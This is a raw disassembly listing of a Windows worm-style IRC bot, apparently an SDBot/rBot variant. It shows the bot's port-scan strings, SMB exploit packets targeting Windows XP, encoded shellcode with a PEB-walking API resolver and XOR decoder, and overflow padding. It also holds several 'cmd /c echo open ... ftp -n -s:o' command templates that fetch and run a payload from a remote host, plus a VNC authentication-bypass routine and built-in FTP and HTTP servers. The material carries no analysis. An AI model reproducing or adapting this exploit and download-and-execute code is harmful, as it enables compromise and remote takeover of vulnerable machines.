		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_434024	db  2Dh	; -		; DATA XREF: sub_40B769+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_43404C	db  2Dh	; -		; DATA XREF: sub_40B85A+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
unk_434078	db  2Dh	; -		; DATA XREF: sub_40B85A+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40BBDB+B2o
		align 10h
dword_4340B0	dd 10FF8h, 0		; DATA XREF: sub_40BBDB+6Ao
dword_4340B8	dd 10FF8h		; DATA XREF: sub_40BBDB+79o
dword_4340BC	dd 7FFDF020h, 0		; DATA XREF: sub_40BBDB+162o
dword_4340C4	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40C005+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43414C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40C005+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_43417C	dd 0			; DATA XREF: sub_40C005+44o
		dd 800000D4h, 0
unk_434188	db  81h	; 		; DATA XREF: sub_40C0DF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_4341D4	db 41h			; DATA XREF: sub_40C17D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_434218	proc near		; DATA XREF: nsp0:0040C45Co
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_434314
		push	dword ptr [esi]
		push	63D61209h
		call	sub_43432A
		mov	[esi+8], eax
		call	sub_4342DD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_43432A
		mov	[esi+0Ch], eax
		call	sub_43428F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_43432A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_434218	endp


; =============== S U B	R O U T	I N E =======================================



sub_43428F	proc near		; CODE XREF: sub_434218+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4342B8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43428F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4342B8	proc near		; CODE XREF: sub_43428F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4342C7:				; CODE XREF: sub_4342B8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4342D4
		inc	ebx
		jmp	short loc_4342C7
; ---------------------------------------------------------------------------


loc_4342D4:				; CODE XREF: sub_4342B8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4342B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4342DD	proc near		; CODE XREF: sub_434218+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4342F5:				; CODE XREF: sub_4342DD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4342FD
		mov	ecx, [ecx]
		jmp	short loc_4342F5
; ---------------------------------------------------------------------------


loc_4342FD:				; CODE XREF: sub_4342DD+1Aj
		mov	edx, edi


loc_4342FF:				; CODE XREF: sub_4342DD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_434309
		mov	edx, [edx+4]
		jmp	short loc_4342FF
; ---------------------------------------------------------------------------


loc_434309:				; CODE XREF: sub_4342DD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4342DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_434314	proc near		; CODE XREF: sub_434218+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_434314	endp


; =============== S U B	R O U T	I N E =======================================



sub_43432A	proc near		; CODE XREF: sub_434218+16p
					; sub_434218+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_434340:				; CODE XREF: sub_43432A+33j
		jecxz	short loc_43437A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_43434D:				; CODE XREF: sub_43432A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_434359
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_43434D
; ---------------------------------------------------------------------------


loc_434359:				; CODE XREF: sub_43432A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_434340
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_43437A:				; CODE XREF: sub_43432A:loc_434340j
					; sub_43432A:loc_43437Aj
		jmp	short loc_43437A
sub_43432A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_434380	proc near		; DATA XREF: nsp0:0040C40Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_4343D2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43439D:				; CODE XREF: sub_434380+38j
		jecxz	short loc_4343CD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4343A8:				; CODE XREF: sub_434380+32j
		lodsb
		test	al, al
		jz	short loc_4343B4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4343A8
; ---------------------------------------------------------------------------


loc_4343B4:				; CODE XREF: sub_434380+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43439D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_4343CD:				; CODE XREF: sub_434380:loc_43439Dj
		mov	[esp+arg_0], ebx
		retn
sub_434380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4343D2	proc near		; CODE XREF: sub_434380+7p

; FUNCTION CHUNK AT 0043440A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4343EB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4343F6
; ---------------------------------------------------------------------------


loc_4343EB:				; CODE XREF: sub_4343D2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4343F6:				; CODE XREF: sub_4343D2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43440A
sub_4343D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4343FD	proc near		; CODE XREF: sub_4343D2:loc_43440Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4343FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4343D2


loc_43440A:				; CODE XREF: sub_4343D2+29j
		call	sub_4343FD


loc_43440F:				; DATA XREF: sub_40BBDB+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_4343D2
; ---------------------------------------------------------------------------
		dw 0
dword_434414	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40BBDB+2F5o
dword_434420	dd 0A1h			; DATA XREF: sub_40BBDB+29Fo
dword_434424	dd 3			; DATA XREF: sub_40BBDB+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40BBDB+153o
		align 10h


loc_434430:				; DATA XREF: sub_40BBDB+E8o
		jmp	short near ptr dword_434438
; ---------------------------------------------------------------------------
		align 8
dword_434438	dd 0			; CODE XREF: nsp0:loc_434430j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: nsp0:0040C431o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_4344A0	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40CAA5+2B0o
; ---------------------------------------------------------------------------


loc_4344AC:				; CODE XREF: nsp0:004344B6j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_4344AC
		inc	edi
		jz	short loc_4344F3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_43451B
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_4344F3:				; CODE XREF: nsp0:004344B9j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_434552+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_434518:				; CODE XREF: nsp0:00434545j
		xor	[esi-25h], bl


loc_43451B:				; CODE XREF: nsp0:004344C1j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_434534:				; CODE XREF: nsp0:00434567j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_434518
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_434552:				; CODE XREF: nsp0:004344F9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_4345DE
		jo	short loc_434534
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_434575+1
		add	bl, [edi]


loc_434575:				; CODE XREF: nsp0:00434571j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43458A+2
		cmp	ch, bh
		dec	edx


loc_43458A:				; CODE XREF: nsp0:00434585j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_4345DE:				; CODE XREF: nsp0:00434565j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_434664
		sub	al, 0BCh
		jmp	near ptr 544549D2h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_434600	dd 0EFFFC481h, 44FFFFh,	43464Ch	; DATA XREF: sub_40CAA5+297o
dword_43460C	dd 42Ah			; DATA XREF: sub_40CAA5+24Ar
dword_434610	dd 3E8h			; DATA XREF: sub_40CAA5+2BBr
dword_434614	dd 258h			; DATA XREF: sub_40CAA5+28Dr
byte_434618	db 1			; DATA XREF: sub_40CAA5+1F6r
					; sub_40CAA5+2C4r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_434630	dd 20804h		; DATA XREF: sub_40C9A9r
					; sub_40CAA5+2E2o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: nsp0:0043461Co
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_434664:				; CODE XREF: nsp0:004345E8j
		push	eax
		xor	al, 29h


loc_434667:				; DATA XREF: sub_40CAA5+21Eo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_434670	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40CAA5+14Eo
dword_434684	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40CAA5+F2o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40CAA5+81o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40CAA5+33o
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40CFAA+92o
					; sub_40D0EC+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_43472C	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40D1DA+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: nsp0:0040D516o
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: nsp0:0040D3A3o
		align 10h
word_435970	dw 1			; DATA XREF: nsp0:0040D31Ar
		align 4
dword_435974	dd 2E646D63h, 657865h	; DATA XREF: sub_40D60D+130o
					; sub_416CC2+21o
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40D7F9+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40DA9B+5EFo
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40DA9B+5CEo
		align 4
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40DA9B+57Do
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40DA9B+569o
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40DA9B+51Fo
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40DA9B+4F4o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40DA9B+4DCo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40DA9B+4CCo
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40DA9B+4BBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40DA9B+488o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40DA9B+447o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40DA9B+40Eo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40DA9B+3E0o
		align 10h
aList_0		db 'LIST',0             ; DATA XREF: sub_40DA9B+3CDo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40DA9B+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40DA9B+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40DA9B+372o
aI:					; DATA XREF: sub_40DA9B+35Eo
					; nsp0:00438A18o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40DA9B+33Bo
aA:					; DATA XREF: sub_40DA9B+327o
					; nsp0:00438A24o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40DA9B:loc_40DDA4o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40DA9B+2FEo
		align 4
off_435BC4	dd offset dword_445750	; DATA XREF: sub_40DA9B+2EAo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40DA9B+2DDo
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40DA9B+2C9o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40DA9B+2BCo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40DA9B+2A8o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40DA9B+29Bo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40DA9B+287o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40DA9B+277o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40DA9B+251o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40DA9B+1C9o
		align 4
unk_435C54	db  2Dh	; -		; DATA XREF: sub_40E1DC+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_435C7C	db 0Dh,0Ah,0		; DATA XREF: sub_40E1DC+2CFo
					; sub_416E91+F2o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40E1DC+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40E637+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40E637+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40E637+97o
					; sub_417368+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40E637+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40E637:loc_40E69Co
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40E637+5Eo
		align 4
unk_435E9C	db  2Dh	; -		; DATA XREF: sub_40E7B9+28Fo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_29	db ' failed to start worker thread, error %d',0
		align 4
unk_435ED4	db  2Dh	; -		; DATA XREF: sub_40E7B9+20Bo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
aS_2		db '\%s',0              ; DATA XREF: sub_40E7B9+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40EA69+64Eo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40EA69+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40EA69+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40EA69+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40EA69:loc_40EF81o
		align 4
